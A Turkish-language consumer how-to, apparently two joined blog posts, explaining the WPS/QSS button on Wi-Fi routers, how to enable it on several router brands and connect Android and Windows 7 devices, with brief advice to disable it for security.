Yönlendiricilerinde WPS düğmesini bulan birçok kullanıcı, bu düğmenin ne olduğunu ve ne işe yaradığını merak ediyor. Bu soruyla da ilgileniyorsanız, bu makaleyi okumanızı öneririz.
WPS, Wi-Fi Korumalı Kurulum anlamına gelir ve güvenlikten ödün vermeden güvenli bir Wi-Fi ağına bağlanmayı kolaylaştırmak için tasarlanmış bir standarttır. Bu standart, Wi-Fi Alliance adlı bir BT şirketleri derneği tarafından geliştirildi ve 2007'de tanıtıldı.
WPS'nin ana özelliği, bir Wi-Fi ağına şifre kullanmadan bağlanmanıza izin vermesidir. Aynı zamanda, bağlantı ve tüm kablosuz ağ korumalı kalır. Ve bağlanmak için gereken süre, normal bir şekilde bağlanmak için gerekenden bile daha kısadır.
Bir Wi-Fi ortak erişim noktası sahibi için bu özellik pek kullanışlı görünmeyebilir. Sonuçta, bir Wi-Fi ağına bir kez bağlanmak zor değil. Bununla birlikte, sık sık size gadget'larıyla gelen misafirleri alıyorsanız, o zaman WPS'nin yeri doldurulamaz olabilir. Bu teknoloji, Wi-Fi şifrenizi bulma ve hatırlama konusunda sizi bitmek bilmeyen dertlerden kurtaracaktır.
Yönlendiricideki WPS düğmesi nasıl kullanılır?
WPS kullanarak bir Wi-Fi ağına bağlanmanın iki yolu vardır. İlk yönteme donanım denir, olabildiğince basit ve hızlıdır. Bu yöntemi kullanarak bağlanmak için, yönlendiricideki ve Wi-Fi'ye bağlanan cihazdaki WPS düğmesine aynı anda basmanız yeterlidir. Bundan sonra, yönlendirici ve bağlı cihaz birbirini tanımlayacak ve bir Wi-Fi bağlantısı kuracaktır. Bağlı cihazın ayrı bir WPS düğmesi yoksa, Wi-Fi ayarlarına gitmeniz ve orada WPS bağlantısını başlatmanız, ardından yönlendiricideki WPS düğmesine basmanız gerekir.
WPS aracılığıyla Wi-Fi'ye bağlanmanın ikinci yolu yazılım olarak adlandırılır. Özel bir PIN kodunun kullanılmasını içerir. Bu durumda bağlanmak için Wi-Fi'ye bağlanmak istediğiniz cihazın PIN kodunu bulmanız ve bu PIN kodunu yönlendirici ayarlarında girmeniz gerekir. Bundan sonra, yönlendirici ve bağlı cihaz birbirini tanımlayacak ve bir Wi-Fi bağlantısı kuracaktır. PIN kodu kullanma ihtiyacı nedeniyle bu yöntem çok daha yavaştır ancak herhangi bir tuşa basmayı gerektirmez.
Yönlendiricide WPS nasıl etkinleştirilir
Yukarıdakilerin hepsinin çalışması için elbette yönlendiricide WPS'nin etkinleştirilmesi gerekir. WPS ayarları genellikle Wi-Fi ayarları bölümünde bulunur. Örneğin, popüler yönlendirici modellerinde WPS'nin nasıl etkinleştirileceğini göstereceğiz.
ASUS yönlendiricide "Güvenli Ağ" bölümüne gitmeniz ve orada "WPS" sekmesini açmanız gerekir. Bu sekmede, yönlendiricide WPS'yi etkinleştirmek ve devre dışı bırakmak için bir anahtar bulunacaktır.
TP-LINK yönlendiricilerde, WPS ayarları ana panelde bulunur. "WPS" bağlantısını tıklamanız yeterlidir ve ihtiyacınız olan ayarları göreceksiniz. Burada WPS'yi etkinleştirmek için "WPS'yi Etkinleştir" düğmesine tıklamanız yeterlidir.
D-LINK yönlendiricilerinde "GELİŞMİŞ" bölümünü açmanız ve "Wi-Fi Korumalı Kurulum" alt bölümüne gitmeniz gerekir. WPS'yi etkinleştirmek için burada "Etkinleştir" öğesinin yanındaki kutuyu işaretlemeniz gerekir.
ZyXEL yönlendiricilerde "Ağ - Kablosuz Ağ" bölümünü açmanız ve "WPS" sekmesine gitmeniz gerekir. Bu işlevi etkinleştirmek için, "WPS'yi Etkinleştir" işlevinin yanındaki kutuyu işaretlemeniz gerekir.
Android akıllı telefon WPS aracılığıyla Wi-Fi'ye nasıl bağlanır
Bir Android akıllı telefonu WPS aracılığıyla bir Wi-Fi ağına bağlamak için Android'de Wi-Fi ayarlarına gitmeniz ve üç noktalı düğmeyi tıklamanız gerekir.
Bu küçük bir menü açacaktır. Burada "Ek işlevler" öğesini seçmeniz gerekir.
Bundan sonra, ek ayarlara sahip bir bölüm açılacaktır. Burada "WPS Düğmesine" tıklamanız gerekiyor. Bu butona tıklamak WPS bağlantı işlemini başlatacaktır. Aslında, menüdeki bu düğme, WPS donanım düğmesine basmayı taklit eder.
Bundan sonra, ekranda bir bağlantı göstergesi görünecektir.
Şimdi sadece yönlendiricideki WPS düğmesine basmak ve yaklaşık 3-4 saniye basılı tutmak kalıyor. Bundan sonra, Android akıllı telefon yaklaşık 10 saniye düşünecek ve ekranda seçilen Wi-Fi ağına bağlandığınızı belirten bir mesaj görünecektir.
Ayrıca Android'de bir PIN kodu kullanarak bağlanabilirsiniz. Bu durumda, gelişmiş Wi-Fi ayarlarında "WPS PIN kodunu girin" seçeneğine tıklamanız gerekir.
Bundan sonra, ekranda bir bağlantı göstergesi ve yönlendiriciye girmeniz gereken bir PIN kodu içeren bir açılır pencere görünecektir.
Bundan sonra, neredeyse anında, Android bir Wi-Fi ağına bağlanır.
Bir Windows 7 bilgisayarını WPS aracılığıyla Wi-Fi'ye bağlama
Bir masaüstü bilgisayarda, WPS aracılığıyla bağlanmak, bir Android akıllı telefondan bile daha kolaydır. Örneğin, işletim sistemi olan bir dizüstü bilgisayarda bunun nasıl olduğunu gösterelim. Windows sistemi 7.
Öncelikle görev çubuğundaki Wi-Fi simgesine tıklamanız gerekir. Kullanılabilir ağların listesi açıldıktan sonra, bağlanmak istediğiniz ağı bulmanız, seçmeniz ve "Bağlan" düğmesine tıklamanız gerekir.
Bundan sonra, şifre girmek için bir pencere açılacaktır. Yönlendiricide WPS etkinleştirilmişse, parola girme satırının altında, yönlendiricideki WPS düğmesine basarak ağa bağlanabileceğiniz yazılacaktır.
Yazıldığı gibi yapıyoruz. Düğmeye basıyoruz ve yönlendiriciden parametre alma hakkında bir mesaj görünene kadar basılı tutuyoruz.
Yönlendiriciden parametreleri aldıktan sonra, bağlantı göstergesi olan bir pencere görünecektir.
Birkaç saniye sonra dizüstü bilgisayar Wi-Fi'ye bağlanır.
Merhaba! Bugün teknoloji hakkında konuşmaya karar verdim WPS (QSS) ben de söyleyeceğim Wi-Fi yönlendiricisindeki QSS düğmesi ne işe yarar? ve nasıl uygulamaya konulacağı. Bana öyle geliyor ki artık tüm modern yönlendiriciler WPS (QSS) teknolojisine sahip, bu nedenle bilgiler alakalı. TL-WR841N yönlendiricimde ve aslında TP-Link yönlendiricilerde bu işleve QSS adı verilir.
QSS veya WPS, yarı otomatik olarak bir kablosuz ağ oluşturulmasına izin veren bir teknolojidir. Wi-Fi bağlantısı yönlendirici ve ağa bağlamak istediğiniz cihaz arasında.
Şu şekilde deşifre edildi:
WPS - Wi-Fi Korumalı Kurulum
QSS - Hızlı Güvenlik Kurulumu
Şimdi kendi kelimelerimle yazıyorum. Örneğin misafirler size geldi ve Wi-Fi ağınıza bağlanmak istiyorlar. Genelde ne yaparsın? Wi-Fi şifrenizi arayın, ardından cihaza girmeniz gerekir ve bağlanmanın tek yolu budur. Ve QSS teknolojisi bu prosedürü basitleştirir.
Cihazda ağınızı bulmanız, gelişmiş ayarlarda WPS'yi seçmeniz ve "Puch düğmesine" (telefonumda var) basmanız, ardından bağlan düğmesine ve yönlendiricide düğmesine basmanız yeterlidir. QSS. Cihazlar bir PIN kodu alışverişi yapar ve birbirlerine bağlanır. Gördüğünüz gibi her şey uygun, hiçbir şey girmenize gerek yok. Kendim kontrol ettim, her şey yolunda.
Şimdi daha fazlasını yazacağım:
- Bir TP-Link yönlendiricisinde QSS nasıl etkinleştirilir (devre dışı bırakılır).
- Bir cihaz (telefon) nasıl bağlanır kablosuz yönlendirici, QSS teknolojisini kullanarak
- WPS (QSS) teknolojisinin kullanımını tehdit eden nedir?
TP-Link yönlendiricisinde QSS nasıl etkinleştirilir/devre dışı bırakılır?
Kurulum hakkında bir makale yazdığımda, QSS düğmesinden bahsetmiştim, bu yönlendiricide şöyle görünüyor:
Unutmadan hemen soranlara bir cevap vermek istiyorum: Bu QSS düğmesine basarsam, bu herkesin yönlendiricime bağlanabileceği anlamına mı geliyor? Cevap hayır, bu düğme sadece bastığınızda ve bastıktan bir süre sonra (uzun değil) çalışır ve o anda telefonunuzu veya tabletinizi bağlarsınız. Bir PIN'i bağlama ve değiştirme işlemi yalnızca birkaç saniye sürer.
QSS işlevi, yönlendirici ayarlarında etkinleştirilebilir ve devre dışı bırakılabilir. Yönlendiriciyi kurduktan hemen sonra bu teknolojiyi açtım ve hala çalışıyor. QSS protokolünü etkinleştirmek veya devre dışı bırakmak veya yeni bir PIN kodu oluşturmak ve ayrıca yönlendirici kontrol panelinden yeni bir cihaz eklemek için yönlendirici ayarlarına gitmeniz gerekir.
Bunun nasıl yapılacağını defalarca yazdım, tarayıcının adres çubuğuna 192.168.1.1 adresini yazın, ayarlara erişmek için kullanıcı adınızı ve şifrenizi girin (varsayılan olarak yönetici ve yönetici) ve girişi onaylayın.
Ardından solda “QSS” sekmesine gidin, sayfa açılacaktır. “QSS (Hızlı Güvenli Kurulum)”. Karşıt QSS Durumunuz varsa: Etkin, ardından teknoloji etkindir, QSS'yi devre dışı bırakmak için "QSS'yi Devre Dışı Bırak" düğmesine tıklayın. Buna göre, devre dışı bırakılmışsa, etkinleştirmek için "Etkin" düğmesine basmanız gerekir.
QSS teknolojisini kullanarak bir cihazı bir Wi-Fi yönlendiriciye nasıl bağlarım?
Örnek olarak WR841N yönlendirici ve HTC One V kullanarak QSS teknolojisini kullanan bir yönlendiriciye bağlanma işlemini göstereceğim.
Aç telefon Wi-Fi, ve ağımız listede görünene kadar bekleyin. Üzerine tıklıyoruz ve telefon bizden hemen bir şifre girmemizi isteyecek. Ama biz seçiyoruz "Gelişmiş seçenekler", ardından “WPS” ve “Push” düğmesine basın. Şu anda, yönlendiricideki QSS düğmesini basılı tutun ve telefonda "Bağlan" düğmesine basın. Aslında her şey, telefon yönlendiriciye bağlanacak, yönlendirici üzerindeki düğme serbest bırakılabilir.
WPS (QSS) teknolojisinin kullanımını ne tehdit ediyor?
Güvenlik açıkları var arkadaşlar ve ağınızın QSS aracılığıyla saldırıya uğrama tehlikesi var. Prensip olarak, Wi-Fi ağınızı tamamen korumak imkansızdır, ancak QSS'yi etkinleştirmek yalnızca bilgisayar korsanlığı riskini artırır.
Ve size tavsiyem, yönlendiricinize nadiren yeni cihazlar bağlarsanız, QSS protokolünü devre dışı bırakmak daha iyidir, pratikte buna ihtiyacınız yoktur. Pekala, sık sık yeni cihazlar bağlarsanız, o zaman QSS kullanın ve bazen kötüyü düşünmeyin :). Bu teknolojiden memnunsanız, reddetmemelisiniz. İyi şanlar!
Sitede daha fazlası:
QSS ve WPS nedir? Bir Wi-Fi yönlendiricisindeki QSS düğmesi ne işe yarar ve nasıl kullanılır? güncellendi: 3 Mart 2014 yazan: yönetici